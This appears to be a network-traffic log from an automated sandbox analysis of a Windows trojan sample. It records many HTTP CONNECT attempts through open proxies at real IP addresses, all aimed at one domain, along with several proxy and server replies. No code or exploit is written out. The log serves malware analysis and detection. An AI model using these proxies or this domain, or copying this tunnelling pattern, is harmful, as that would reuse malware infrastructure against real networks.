Feb 23, 2024 14:28:39.634681940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.8	51255	170.80.33.103	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.663026094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679450035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.8	54680	189.240.60.168	9090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.665878057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.855542898 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.8	54940	104.16.72.45	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.666174889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.753880978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.8	53786	5.2.76.163	17000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.666229010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679519892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.695067883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.475708961 CET	68	IN	HTTP/1.1 200 Connection established Proxy-Agent: Privoxy/3.0.21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.8	51384	141.94.174.6	59583	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.667104006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.8	53875	185.129.250.183	14462	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.669487000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679485083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.695075035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.710423946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.710313082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:15.897852898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.8	51407	195.114.209.50	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.677087069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.703649044 CET	835	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.8	53920	188.164.193.178	63078	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.692790031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.788522005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882762909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.898021936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.8	51371	80.80.162.81	10805	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.693973064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.8	54948	172.245.16.47	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.698121071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.8	53876	176.120.32.135	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.712519884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.8	53750	211.43.214.205	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.712630987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898166895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.957258940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.960511923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.108778000 CET	429	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:53 GMT Server: cloudflare Content-Type: text/html; charset=UTF-8 Content-Length: 253 CF-RAY: - Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.8	54938	192.252.216.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.739834070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.8	54910	115.171.217.48	7891	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.759352922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.8	54920	59.125.232.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.759887934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.8	54943	150.220.8.228	64312	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.774715900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.8	54691	109.123.254.43	58917	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.785875082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.788778067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882757902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.8	54739	120.234.203.171	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.786197901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.800154924 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.8	54928	47.74.226.8	5001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.839930058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.8	53823	103.76.104.30	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.841485023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.420562029 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.8	51391	103.174.236.98	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.841485023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.8	51518	132.148.245.169	49824	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.848524094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898168087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.957256079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.8	54955	201.238.248.139	9229	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.870879889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.067732096 CET	161	IN	HTTP/1.1 503 Too many open connections Proxy-Agent: Privoxy 3.0.21 Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.8	54935	107.148.201.157	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.893239021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695003986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.882603884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.8	54936	102.132.50.49	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.908921957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.8	54676	115.187.50.99	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.923393965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.8	51475	154.236.179.226	1981	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.925476074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065356970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.085791111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.8	54302	198.12.253.1	3820	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.937309027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382515907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.8	54976	172.245.16.47	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.937458992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.8	54023	166.62.38.100	39308	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.937477112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.991976023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.992079020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.991852999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.8	53974	181.15.154.154	52033	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.962357044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.8	54954	61.129.2.212	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.962811947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.8	54974	51.83.135.35	2846	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.962822914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.8	54970	79.110.197.144	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.990624905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

